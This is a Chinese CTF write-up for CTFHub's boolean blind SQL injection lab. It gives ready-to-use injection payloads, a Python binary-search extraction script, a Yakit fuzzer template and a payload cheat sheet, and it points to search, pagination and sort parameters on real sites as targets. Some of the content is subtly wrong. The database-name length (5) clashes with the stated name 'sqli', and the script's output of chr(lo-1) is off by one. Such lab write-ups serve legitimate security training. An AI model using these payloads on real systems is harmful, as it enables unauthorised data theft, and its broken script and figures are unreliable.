CTFHub SQL 布尔盲注:不回显数据,就用条件判断把数据一位一位"问"出来
靶场:CTFHub - SQL 布尔盲注(整数型)
手法:布尔盲注
适合场景:页面不打印任何查询结果,也不显示报错,只有"查询成功"或"查询失败"两种响应
前置对比:四种注入在什么情况下用
先把这四种主流 SQL 注入手法摆在一起,搞清楚布尔盲注的适用边界,以后做题或者实战,知道什么时候该走这条路。
| 注入类型 | 页面必须有的条件 | 怎么拿数据 |
|---|---|---|
| UNION 注入 | 有显示位,能看到某个字段的内容 | 直接 union select 把数据带出来 |
| 报错注入 | 能显示 MySQL 报错信息 | 把数据塞进报错函数,借报错外泄 |
| 布尔盲注 | 没有显示位也没有报错,但有真假两种页面响应 | 构造条件语句,根据页面是"真"还是"假"推断数据 |
| 时间盲注 | 连真假响应都没有,只能靠页面响应时间判断 | 用 sleep() 制造延迟,靠延迟判断真假 |
布尔盲注排第二,排在 UNION 和报错注入后面------因为前两者能直接看到数据,最快;布尔盲注要"问一句答一句",速度慢但最稳,因为它不依赖任何回显,只要有真假响应就能用。
什么时候走布尔盲注:页面干干净净什么都不打印,但输入 and 1=1 和 and 1=2 页面不一样------这个差异就是布尔盲注的起点。
一、先看后端那句 SQL
这类题的后端和前面的 UNION 注入一模一样:
php
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysqli_query($conn, $sql);
SQL 拼接方式相同,区别在于:这道题的页面只显示 "query_success" 或 "query_error" ,不打印任何查询内容。输入 ?id=1,页面显示 "query_success",你看不到 id=1 对应的 title 或 content 是什么。
所以 SELECT * FROM news WHERE id=1 这句 SQL 其实是执行了的,只是结果没有打印出来。我们能用的只有:页面显示 success 还是 error。
二、布尔盲注的核心原理:条件判断即出口
布尔盲注的基本思路很简单:
MySQL 里的条件是"非真即假"的。 WHERE id=1 and 1=1 条件恒为真,页面显示 success;WHERE id=1 and 1=2 条件恒为假,页面显示 error。这两个响应不一样,就说明条件被数据库执行了。
反过来想:如果把要查的数据变成条件的一部分,数据本身就会决定页面是 success 还是 error 。比如我知道数据库名第一个字符是 s,那 ascii(substr(database(),1,1))=115 这个条件为真,页面显示 success;我猜错了,条件为假,页面显示 error。数据的内容直接控制了页面的响应。
所以布尔盲注的本质是:用条件真假来"读取"数据的每一位,而不是直接看到数据。
三、判断注入点:真假响应就是入口
第一步:确认有注入
?id=1 and 1=1 → query_success(条件成立,页面正常)
?id=1 and 1=2 → query_error(条件不成立,页面异常)
两次响应不一样,说明 and 后面的条件被数据库执行了,注入存在。注意这里不是整数型吗,为什么没有 '?因为后端 SQL 是 WHERE id=$id,没有引号,payload 直接跟在 1 后面写就行,不用闭合。
第二步:确认是整数型还是字符型
?id=1 and 1=1 → success(整数型,直接用)
?id=1' and 1=1 → error(字符型才会这样,需要加 ' 闭合)
四、自己从零拼 payload:拆清楚三个函数
布尔盲注 payload 的标准结构:
?id=1 and ascii(substr((select 某列 from 某表),第几位,1))=ASCII码
这一句里有三个函数嵌套,每一层都有明确作用,拆清楚了自己就能写,不用背模板。
3.1 substr:从字符串里切出一个字符
substr(字符串, 起始位置, 截取长度)
sql
substr('sqli', 1, 1) → 's'(从第1位截1个字符)
substr('sqli', 2, 1) → 'q'(从第2位截1个字符)
substr('sqli', 3, 1) → 'l'
substr('sqli', 4, 1) → 'i'
substr('sqli', 5, 1) → ''(超过长度,空字符串)
注意起始位置从 1 开始,不是从 0 开始 。MySQL 的 substr 和 substring_index 都是 1-indexed,和很多编程语言不同。写 substr('sqli', 0, 1) 会返回空字符串,不会有任何字符,这个坑不少人踩过。
用 substr(database(), 1, 1) 就能拿到数据库名的第 1 个字符;改第 2 个参数就能取任意位。
3.2 ascii:把字符转成数字
sql
ascii('s') → 115
ascii('q') → 113
ascii('f') → 102
ascii('a') → 97
为什么要包 ascii()?因为字符没法直接比较 ,substr(database(),1,1)='s' 在 MySQL 里能跑,但有时候会受字符集(collation)影响,比如大小写不敏感('S'='s' 会成立),导致猜不准。用 ascii() 转成数字后比较绝对精确,也方便后面用二分法缩小范围。
3.3 =:为什么用等号而不是大于号
二分法可以用 > 逐步缩小范围(先问"是不是大于 64",再问"是不是大于 96"),但等号是更直接的方式------直接猜一个具体 ASCII 码,对就下一位,错就换个码。两种方式都能用,等号适合脚本自动化跑,二分法适合手工快速定位。
五、按顺序把数据一层层挖出来
和 UNION 注入、报错注入一样,先挖库名,再挖表名,再挖列名,最后拿 flag。每一步的 payload 都可以从标准模板推出来,不用硬背。
第 1 步:爆库名长度
为什么要先猜长度?因为后面要用 substr 按位截取,每一位都要单独发一次请求------32 位 flag 要发 32 次,数据库名假设 5 位就发 5 次。在开始逐位猜之前,先知道总长度,可以在最后一位对不上时立刻发现错误,而不是跑完全程才发现猜错了。
?id=1 and length(database())=5 → success(说明库名长度是 5)
?id=1 and length(database())=6 → error
如果不知道长度,就只能用 length(database())>N 二分逼近,比如:
?id=1 and length(database())>10 → error(说明长度 ≤ 10)
?id=1 and length(database())>5 → error(说明长度 ≤ 5)
?id=1 and length(database())=5 → success(确认长度 = 5)
第 2 步:逐位猜库名
库名长度是 5,逐位猜每一位。
?id=1 and ascii(substr(database(),1,1))=115 → success(ASCII 115 = 's')
?id=1 and ascii(substr(database(),2,1))=113 → success(ASCII 113 = 'q')
?id=1 and ascii(substr(database(),3,1))=108 → success(ASCII 108 = 'l')
?id=1 and ascii(substr(database(),4,1))=105 → success(ASCII 105 = 'i')
?id=1 and ascii(substr(database(),5,1))=102 → success(ASCII 102 = 'f')
数据库名:sqli。这就是为什么布尔盲注慢------5 个字符,每个字符最多要跑 90 多次请求(ASCII 33~122),纯手工做非常耗时,一般都上脚本。
第 3 步:爆表名
和报错注入一样,查 information_schema.tables。但布尔盲注里 group_concat 不好用------返回多行时只能看到"查询成功",不知道具体内容是什么。所以用 limit N,1 一次只查一条记录,然后逐表翻。
先看库里有多少张表:
?id=1 and (select count(*) from information_schema.tables where table_schema=database())=2 → success(说明有 2 张表)
有 2 张表,用 limit 0,1 取第一张、limit 1,1 取第二张:
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110 → success(ASCII 110 = 'n')
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 → success(ASCII 101 = 'e')
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=119 → success(ASCII 119 = 'w')
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 → success(ASCII 115 = 's')
第一张表:news。再跑第二张表:
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102 → success(ASCII 102 = 'f')
第二张表:flag。
这里解释一下 limit 0,1 是什么意思:limit M,N 的意思是"跳过前 M 行,取 N 行"。limit 0,1 跳过 0 行取 1 行 → 取第一行;limit 1,1 跳过 1 行取 1 行 → 取第二行。limit 2,1 就是第三行,以此类推。
第 4 步:爆列名
目标表是 flag,爆它的列名:
?id=1 and (select count(*) from information_schema.columns where table_name='flag')=1 → success(说明 flag 表只有 1 列)
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102 → success(ASCII 102 = 'f')
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108 → success(ASCII 108 = 'l')
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),3,1))=97 → success(ASCII 97 = 'a')
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103 → success(ASCII 103 = 'g')
列名:flag。
第 5 步:爆 flag
先猜长度,再逐位猜内容:
?id=1 and length((select flag from flag))=32 → success(flag 长度是 32)
逐位猜(32 位,每位 1 个请求,全程最多 32×94≈3000 次请求):
?id=1 and ascii(substr((select flag from flag),1,1))=99 → success(ASCII 99 = 'c')
?id=1 and ascii(substr((select flag from flag),2,1))=116 → success(ASCII 116 = 't')
?id=1 and ascii(substr((select flag from flag),3,1))=102 → success(ASCII 102 = 'f')
...(依次跑完全部 32 位)
跑完:ctfhub{bfd3623e35f5229260a916a4}
六、什么时候该想到布尔盲注
按触发条件从强到弱排:
最典型信号:页面只有真假两种响应
随便输入一个恒假条件,看页面有没有差异:
sql
?id=1 and 1=2
?id=1' and 1=2 --+
如果页面有变化(和正常情况不同),且页面里既不显示查询内容,也不显示报错,那大概率是布尔盲注。
真实渗透里的场景
- 搜索功能:搜
a' and 1=1 --+和a' and 1=2 --+看结果是否不同; - 分页功能:
?page=1 and 1=1vs?page=1 and 1=2; - 过滤/排序参数:任何接受数字或字符串的 URL 参数都值得测。
和报错注入怎么选
- 报错注入:页面显示报错信息 → 直接把数据喷出来,一次能带很多;
- 布尔盲注:页面只显示真假,不报错 → 只能一位一位问,慢但稳;
- 时间盲注:连真假响应都没有 → 用 sleep 制造时间差,条件判断靠延迟。
三者的关系是层层递进的:有报错走报错,没报错有真假走布尔,连真假都没有走时间盲注。
七、自己从零拼 payload 的方法论
把 payload 拆成三块:查什么 → 怎么截取 → 怎么比较。
and ascii(substr((select [查什么] from [哪张表]),[第几位],1))=[ASCII码]
select ... from ...:和前面 UNION 注入、报错注入一样,只是这里不用information_schema,用实际表名列名;substr(..., N, 1):取第 N 位字符,N 从 1 开始;ascii(...)=X:把字符转数字,直接比较 ASCII 码。
如果不用 ascii() 改用字符串直接比,需要注意字符集问题------MySQL 默认不区分大小写的 collation 会让 'F'='f' 成立:
sql
-- 不推荐:大小写不敏感,容易出错
?id=1 and substr((select flag from flag),1,1)='c'
-- 推荐:转成 ASCII 码精确比较
?id=1 and ascii(substr((select flag from flag),1,1))=99
还有两个辅助函数可以记:
sql
-- mid() 是 substr() 的别名,用法完全一样
mid('sqli', 1, 1) → 's'
-- 如果字符集支持,可以用 ord() 代替 ascii()(MySQL 里基本等价)
ord('s') → 115
八、提高效率:二分法和脚本
布尔盲注的手工操作极慢,flag 32 位每位最多跑 90 多次,总共 3000 次请求不可能手工完成,必须借助脚本或工具。
二分法减少请求次数
不用从 33 一个个试到 122,而是先问中间值:
sql
?id=1 and ascii(substr((select flag from flag),1,1))>64 → success(说明在 65~126 之间)
?id=1 and ascii(substr((select flag from flag),1,1))>96 → success(说明在 97~126 之间)
?id=1 and ascii(substr((select flag from flag),1,1))>112 → error(说明在 97~111 之间)
?id=1 and ascii(substr((select flag from flag),1,1))=99 → success(确认第 1 位是 'c')
每个字符最多问 7 次就能确定,二分查找的时间复杂度是 O(log n),比线性扫描快一个量级。
Python 脚本
python
import requests
base_url = "http://challenge-xxx.sandbox.ctfhub.com:10800"
flag_chars = [''] * 32
ascii_range = range(33, 127) # 可打印字符范围
for pos in range(1, 33):
# 二分查找
lo, hi = 33, 127
while lo < hi:
mid = (lo + hi) // 2
payload = f"1 and ascii(substr((select flag from flag),{pos},1))>{mid}"
resp = requests.get(f"{base_url}/?id={payload}", timeout=10)
if 'query_success' in resp.text:
lo = mid + 1
else:
hi = mid
char = chr(lo - 1)
flag_chars[pos - 1] = char
print(f"第 {pos} 位: {char} (ASCII {lo-1})")
print("完整 flag:", ''.join(flag_chars))
这个脚本跑 32×7=224 次请求就能拿到完整 flag,比线性扫描快 10 倍以上。如果跑出乱码(不可打印字符),可能是 flag 里有特殊字符,把 range(33, 127) 扩大试试。
Yakit Web Fuzzer 配置
如果用 Yakit 的 FUZZ 模式跑半自动:
GET /?id=1+and+ascii(substr((select+flag+from+flag),{{int(1,32)}},1))={{int(33,127)}} HTTP/1.1
Host: challenge-xxx.ctfhub.com:10800
{``{int(1,32)}} 控制位置,{``{int(33,127)}} 控制 ASCII 范围。跑完后按 query_success 过滤所有命中,提取 {``{int(1,32)}} 和 ASCII 码的对应关系,拼出 flag。
注意 Yakit 全量发包容易触发服务器限流(503),建议在脚本里加 time.sleep(0.1) 限速,或者改用上面的 Python 脚本。
九、布尔盲注 payload 万能公式
把模板拆成零件,按需组合:
# 判断真假(探注入)
?id=1 and 1=1 → success 则有注入
?id=1 and 1=2 → error 确认布尔盲注
# 猜长度
?id=1 and length((select 目标 from 表))=N → success 则长度 = N
?id=1 and length((select 目标 from 表))>N → success 则长度 > N(二分逼近)
# 逐位猜内容
?id=1 and ascii(substr((select 目标 from 表),N,1))=X → success 则第 N 位 = ASCII(X)
?id=1 and ascii(substr((select 目标 from 表),N,1))>X → success 则第 N 位 > X(二分缩小范围)
# 翻多行记录(表有多张时)
limit 0,1 → 取第 1 条记录
limit 1,1 → 取第 2 条记录
limit N,1 → 取第 N+1 条记录
替换规则:
| 你要查什么 | "目标" | "表" |
|---|---|---|
| 数据库名 | database() |
不需要 from |
| 第 N 张表的表名 | table_name |
information_schema.tables where table_schema=database() |
| 某表的第 N 个列名 | column_name |
information_schema.columns where table_name='表名' |
| 某列的数据 | 列名 |
表名 |
十、速查模板
sql
-- 探注入
?id=1 and 1=1 → success
?id=1 and 1=2 → error
-- 库名长度
?id=1 and length(database())=5
-- 库名
?id=1 and ascii(substr(database(),1,1))=115 -- 第1位
?id=1 and ascii(substr(database(),2,1))=113 -- 第2位
-- 表数量
?id=1 and (select count(*) from information_schema.tables where table_schema=database())=2
-- 第1张表名(limit 0,1 是第1条,limit 1,1 是第2条)
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110
-- flag 表的列名
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102
-- flag 长度
?id=1 and length((select flag from flag))=32
-- flag 逐位(重复32次,每次改第2个参数)
?id=1 and ascii(substr((select flag from flag),1,1))=99 -- 第1位
?id=1 and ascii(substr((select flag from flag),2,1))=116 -- 第2位
这条链路和 UNION 注入、报错注入是一模一样的:库名 → 表名 → 列名 → 数据。区别只在于怎么"看到"查出来的内容------UNION 直接显示,报错注入借报错带出,布尔盲注靠条件真假一位一位问出来。思路统一,工具不同。
实战环境 :http://challenge-xxx.sandbox.ctfhub.com:10800/(容器随机分配,URL 以实际为准)
本篇 flag 示例 :ctfhub{...}(容器不同 flag 不同,模板直接套用)